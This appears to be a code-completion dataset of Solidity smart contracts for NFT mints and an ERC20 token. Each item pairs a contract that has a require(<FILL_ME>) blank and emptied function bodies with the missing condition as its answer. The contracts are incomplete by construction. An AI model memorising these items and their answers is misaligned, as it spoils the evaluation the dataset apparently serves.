uint256[] memory ticketAmounts = new uint256[](1);
ticketAmounts[0] = pinkBalloons + blackBalloons + blueBalloons + greenBalloons;
balloonContract.burn(msg.sender, ticketTokenIds, ticketAmounts);
address[] memory addresses = new address[](1);
addresses[0] = msg.sender;
if (pinkBalloons > 0) {
uint32[] memory pinkBalloonsArr = new uint32[](1);
pinkBalloonsArr[0] = pinkBalloons;
balloonBurn.airdrop(
address(balloonContract),
pinkBurnIndex,
addresses,
pinkBalloonsArr
);
}
if (blackBalloons > 0) {
uint32[] memory blackBalloonsArr = new uint32[](1);
blackBalloonsArr[0] = blackBalloons;
balloonBurn.airdrop(
address(balloonContract),
blackBurnIndex,
addresses,
blackBalloonsArr
);
}
if (blueBalloons > 0) {
uint32[] memory blueBalloonsArr = new uint32[](1);
blueBalloonsArr[0] = blueBalloons;
balloonBurn.airdrop(
address(balloonContract),
blueBurnIndex,
addresses,
blueBalloonsArr
);
}
if (greenBalloons > 0) {
uint32[] memory greenBalloonsArr = new uint32[](1);
greenBalloonsArr[0] = greenBalloons;
balloonBurn.airdrop(
address(balloonContract),
greenBurnIndex,
addresses,
greenBalloonsArr
);
}
emit BalloonMint(msg.sender, pinkBalloons, blackBalloons, blueBalloons, greenBalloons);
}
function setEnabled(bool newState) external onlyOwner {
}
function getInfo(
address user
)
public
view
returns (
uint256 ticketAmount,
uint256 balance,
bool hasApproved,
bool isEnabled,
uint256 pinkBalloonAmount,
uint256 blackBalloonAmount,
uint256 blueBalloonAmount,
uint256 greenBalloonAmount,
uint256 pinkBalloonTotalAmount,
uint256 blackBalloonTotalAmount,
uint256 blueBalloonTotalAmount,
uint256 greenBalloonTotalAmount
)
{
}
}
| pinkBalloons+blackBalloons+blueBalloons+greenBalloons>0,"BalloonBurn: You must burn at least one ticket" | 73,120 | pinkBalloons+blackBalloons+blueBalloons+greenBalloons>0 |
"Exceed max supply" | // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.9;
contract DiscoMonkeys is ERC2981, ERC721AQueryable, Ownable {
using Address for address payable;
using Strings for uint256;
uint256 public _price;
uint32 public immutable _txLimit;
uint32 public _maxSupply;
uint32 public immutable _teamReserved;
uint32 public immutable _walletLimit;
bool public _started = false;
uint32 public _teamMinted;
string public _metadataURI = "https://discomonkeynft.com/metadata/";
struct HelperState {
uint256 price;
uint32 txLimit;
uint32 walletLimit;
uint32 maxSupply;
uint32 teamReserved;
uint32 totalMinted;
uint32 userMinted;
bool started;
}
function setPrice (uint256 price) external onlyOwner {
}
function setMaxSupply (uint32 supply) external onlyOwner {
}
constructor() ERC721A("DiscoMonkeys", "DISCO") {
}
function mint(uint32 amount) external payable {
require(_started, "Sale is not started");
require(<FILL_ME>)
require(amount <= _txLimit, "Exceed transaction limit");
uint256 minted = _numberMinted(msg.sender);
if (minted > 0) {
require(msg.value >= amount * _price, "Insufficient funds");
} else {
require(msg.value >= (amount) * _price, "Insufficient funds");
}
require(minted + amount <= _walletLimit, "Exceed wallet limit");
_safeMint(msg.sender, amount);
}
function _state(address minter) external view returns (HelperState memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC2981, ERC721A) returns (bool) {
}
function devMint(address to, uint32 amount) external onlyOwner {
}
function setFeeNumerator(uint96 feeNumerator) external onlyOwner {
}
function setStarted(bool started) external onlyOwner {
}
function setMetadataURI(string memory uri) external onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| amount+_totalMinted()<=_maxSupply-_teamReserved,"Exceed max supply" | 73,133 | amount+_totalMinted()<=_maxSupply-_teamReserved |
"Insufficient funds" | // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.9;
contract DiscoMonkeys is ERC2981, ERC721AQueryable, Ownable {
using Address for address payable;
using Strings for uint256;
uint256 public _price;
uint32 public immutable _txLimit;
uint32 public _maxSupply;
uint32 public immutable _teamReserved;
uint32 public immutable _walletLimit;
bool public _started = false;
uint32 public _teamMinted;
string public _metadataURI = "https://discomonkeynft.com/metadata/";
struct HelperState {
uint256 price;
uint32 txLimit;
uint32 walletLimit;
uint32 maxSupply;
uint32 teamReserved;
uint32 totalMinted;
uint32 userMinted;
bool started;
}
function setPrice (uint256 price) external onlyOwner {
}
function setMaxSupply (uint32 supply) external onlyOwner {
}
constructor() ERC721A("DiscoMonkeys", "DISCO") {
}
function mint(uint32 amount) external payable {
require(_started, "Sale is not started");
require(amount + _totalMinted() <= _maxSupply - _teamReserved, "Exceed max supply");
require(amount <= _txLimit, "Exceed transaction limit");
uint256 minted = _numberMinted(msg.sender);
if (minted > 0) {
require(msg.value >= amount * _price, "Insufficient funds");
} else {
require(<FILL_ME>)
}
require(minted + amount <= _walletLimit, "Exceed wallet limit");
_safeMint(msg.sender, amount);
}
function _state(address minter) external view returns (HelperState memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC2981, ERC721A) returns (bool) {
}
function devMint(address to, uint32 amount) external onlyOwner {
}
function setFeeNumerator(uint96 feeNumerator) external onlyOwner {
}
function setStarted(bool started) external onlyOwner {
}
function setMetadataURI(string memory uri) external onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| msg.value>=(amount)*_price,"Insufficient funds" | 73,133 | msg.value>=(amount)*_price |
"Exceed wallet limit" | // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.9;
contract DiscoMonkeys is ERC2981, ERC721AQueryable, Ownable {
using Address for address payable;
using Strings for uint256;
uint256 public _price;
uint32 public immutable _txLimit;
uint32 public _maxSupply;
uint32 public immutable _teamReserved;
uint32 public immutable _walletLimit;
bool public _started = false;
uint32 public _teamMinted;
string public _metadataURI = "https://discomonkeynft.com/metadata/";
struct HelperState {
uint256 price;
uint32 txLimit;
uint32 walletLimit;
uint32 maxSupply;
uint32 teamReserved;
uint32 totalMinted;
uint32 userMinted;
bool started;
}
function setPrice (uint256 price) external onlyOwner {
}
function setMaxSupply (uint32 supply) external onlyOwner {
}
constructor() ERC721A("DiscoMonkeys", "DISCO") {
}
function mint(uint32 amount) external payable {
require(_started, "Sale is not started");
require(amount + _totalMinted() <= _maxSupply - _teamReserved, "Exceed max supply");
require(amount <= _txLimit, "Exceed transaction limit");
uint256 minted = _numberMinted(msg.sender);
if (minted > 0) {
require(msg.value >= amount * _price, "Insufficient funds");
} else {
require(msg.value >= (amount) * _price, "Insufficient funds");
}
require(<FILL_ME>)
_safeMint(msg.sender, amount);
}
function _state(address minter) external view returns (HelperState memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC2981, ERC721A) returns (bool) {
}
function devMint(address to, uint32 amount) external onlyOwner {
}
function setFeeNumerator(uint96 feeNumerator) external onlyOwner {
}
function setStarted(bool started) external onlyOwner {
}
function setMetadataURI(string memory uri) external onlyOwner {
}
function withdraw() external onlyOwner {
}
}
| minted+amount<=_walletLimit,"Exceed wallet limit" | 73,133 | minted+amount<=_walletLimit |
"Per wallet limit reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "ERC721A.sol";
import "Ownable.sol";
contract CollectiObama is ERC721A, Ownable {
using Strings for uint256;
string public baseURI;
bool public public_mint_status = true;
bool public free_mint_status = true;
uint256 MAX_SUPPLY = 10000;
string public notRevealedUri;
bool public revealed = false;
uint256 public publicSaleCost = 0.07 ether;
uint256 public max_per_wallet = 30;
constructor(string memory _initBaseURI, string memory _initNotRevealedUri) ERC721A("CollectiObama ", "CO ") {
}
function mint(uint256 quantity) public payable {
require(totalSupply() + quantity <= MAX_SUPPLY, "Not enough tokens left");
if (msg.sender != owner()) {
require(public_mint_status, "public mint is off");
require(<FILL_ME>)
require(msg.value >= (publicSaleCost * quantity), "Not enough ether sent");
}
_safeMint(msg.sender, quantity);
}
function freeMint(uint256 quantity) public payable {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view override returns (string memory) {
}
//only owner
function toggleReveal() public onlyOwner {
}
function toggle_public_mint_status() public onlyOwner {
}
function toggle_free_mint_status() public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function setPublicSaleCost(uint256 _publicSaleCost) public onlyOwner {
}
function setMax_per_wallet(uint256 _max_per_wallet) public onlyOwner {
}
function setMAX_SUPPLY(uint256 _MAX_SUPPLY) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
}
| balanceOf(msg.sender)+quantity<=max_per_wallet,"Per wallet limit reached" | 73,136 | balanceOf(msg.sender)+quantity<=max_per_wallet |
"Not enough ether sent" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "ERC721A.sol";
import "Ownable.sol";
contract CollectiObama is ERC721A, Ownable {
using Strings for uint256;
string public baseURI;
bool public public_mint_status = true;
bool public free_mint_status = true;
uint256 MAX_SUPPLY = 10000;
string public notRevealedUri;
bool public revealed = false;
uint256 public publicSaleCost = 0.07 ether;
uint256 public max_per_wallet = 30;
constructor(string memory _initBaseURI, string memory _initNotRevealedUri) ERC721A("CollectiObama ", "CO ") {
}
function mint(uint256 quantity) public payable {
require(totalSupply() + quantity <= MAX_SUPPLY, "Not enough tokens left");
if (msg.sender != owner()) {
require(public_mint_status, "public mint is off");
require(balanceOf(msg.sender) + quantity <= max_per_wallet,"Per wallet limit reached");
require(<FILL_ME>)
}
_safeMint(msg.sender, quantity);
}
function freeMint(uint256 quantity) public payable {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view override returns (string memory) {
}
//only owner
function toggleReveal() public onlyOwner {
}
function toggle_public_mint_status() public onlyOwner {
}
function toggle_free_mint_status() public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
function setPublicSaleCost(uint256 _publicSaleCost) public onlyOwner {
}
function setMax_per_wallet(uint256 _max_per_wallet) public onlyOwner {
}
function setMAX_SUPPLY(uint256 _MAX_SUPPLY) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
}
| msg.value>=(publicSaleCost*quantity),"Not enough ether sent" | 73,136 | msg.value>=(publicSaleCost*quantity) |
"ERC20: balance amount exceeded max wallet amount limit" | pragma solidity ^0.8.18;
//import "hardhat/console.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract testF is ERC20, Ownable {
string private _name = "testF";
string private _symbol = "testF";
bool public _isPublicLaunched = false;
uint256 private _supply = 1_000_000_000 ether;
uint256 public maxTxAmount = 1_000_000_000 ether;
uint256 public maxWalletAmount = 1_000_000_000 ether;
address public honorariumWallet = 0x9B360a8685077b4fFf001B5FE32A0359eD60D1A6;
address public liquidityWallet = 0xf3915283F11f9D945fB1B8fCDE23e14d1467c243;
address public DEAD = 0x000000000000000000000000000000000000dEaD;
mapping(address => bool) public _isExcludedFromFee;
mapping(address => bool) public whitelist;
bool swapping = false;
// Taxes against bots
uint256 public taxForLiquidity = 50;
uint256 public taxForHonorarium = 50;
function publicLaunch() public onlyOwner {
}
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
uint256 public honorariumFunds;
uint256 public liquidityEthFunds;
uint256 public liquidityTokenFunds;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor() ERC20(_name, _symbol) {
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (!whitelist[from] && !whitelist[to]) {
if (to != uniswapV2Pair) {
require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
require(<FILL_ME>)
}
}
uint256 transferAmount = amount;
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
if ((from == uniswapV2Pair || to == uniswapV2Pair)) {
require(
_isPublicLaunched,
"Public Trading is not yet available"
);
uint256 totalTax = taxForHonorarium + taxForLiquidity;
if (totalTax > 0) {
uint256 feeTokens = (amount * totalTax) / 100;
super._transfer(from, address(this), feeTokens);
transferAmount = amount - feeTokens;
if (
uniswapV2Pair == to &&
!whitelist[from] &&
!whitelist[to] &&
from != address(this) &&
!swapping
) {
swapping = true;
swapAndLiquify(totalTax);
swapping = false;
}
}
}
}
super._transfer(from, to, transferAmount);
}
function swapAndLiquify(uint256 totalTax) internal {
}
/**
* @dev Transfers Honorarium ETH Funds to Honorarium Wallet
*/
function withdrawHonorarium() external onlyOwner returns (bool) {
}
/**
* @dev Transfers Liquidity Funds (ETH + TOKENS) to Liquidity Wallet
*/
function withdrawLiquidity() public onlyOwner returns (bool) {
}
/**
* @dev Excludes an address from Fees
*
* @param _address address to be exempt from fee
* @param _status address fee status
*/
function excludeFromFee(address _address, bool _status) external onlyOwner {
}
/**
* @dev Excludes batch of addresses from Fees
*
* @param _address Array of addresses to be exempt from fee
* @param _status Addresses fee status
*/
function batchExcludeFromFee(
address[] memory _address,
bool _status
) external onlyOwner {
}
/**
* @dev Adds and address to Whitelist
*
* @param _address address to be added
* @param status address whitelist status
*/
function addToWhitelist(address _address, bool status) external onlyOwner {
}
/**
* @dev Adds batch of addresses to Whitelist
*
* @param _address Array of addresses to be added to whitelist
* @param _status Addresses Whitelist status
*/
function addBatchToWhitelist(
address[] memory _address,
bool _status
) external onlyOwner {
}
/**
* @dev Swaps Token Amount to ETH
*
* @param tokenAmount Token Amount to be swapped
* @param tokenAmountOut Expected ETH amount out of swap
*/
function _swapTokensForEth(
uint256 tokenAmount,
uint256 tokenAmountOut
) internal {
}
/**
* @dev Calculates amount of ETH to be receieved from Swap Transaction
*
* @param _tokenAmount Token Amount to be used for swap
*/
function _getETHAmountsOut(
uint256 _tokenAmount
) internal view returns (uint256) {
}
/**
* @dev Updates Token LP pair
*
* @param _pair Token LP Pair address
*/
function updatePair(address _pair) external onlyOwner {
}
/**
* @dev Updates Honorarium wallet address
*
* @param _newWallet Honorarium wallet address
*/
function updateHonorariumWallet(
address _newWallet
) public onlyOwner returns (bool) {
}
/**
* @dev Updates Liquidity wallet address
*
* @param _newWallet Liquidity wallet address
*/
function updateLiquidityWallet(
address _newWallet
) public onlyOwner returns (bool) {
}
/**
* @dev Updates the tax fee for both Early Wallet Status and Honorarium
* @param _taxForLiquidity Early Wallet Tax fee
* @param _taxForHonorarium Honorarium Tax fee
*/
function updateTaxForLiquidityAndHonorarium(
uint256 _taxForLiquidity,
uint256 _taxForHonorarium
) public onlyOwner returns (bool) {
}
/**
* @dev Updates maximum transaction amount for wallet
*
* @param _maxTxAmount Maximum transaction amount
*/
function updateMaxTxAmount(
uint256 _maxTxAmount
) public onlyOwner returns (bool) {
}
/**
* @dev Updates Maximum Amount of tokens a wallet can hold
*
* @param _maxWalletAmount Maximum Amount of Tokens a wallet can hold
*/
function updateMaxWalletAmount(
uint256 _maxWalletAmount
) public onlyOwner returns (bool) {
}
function withdrawETH() external onlyOwner {
}
function withdrawTokens(address token) external onlyOwner {
}
receive() external payable {}
}
| (amount+balanceOf(to))<=maxWalletAmount,"ERC20: balance amount exceeded max wallet amount limit" | 73,151 | (amount+balanceOf(to))<=maxWalletAmount |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.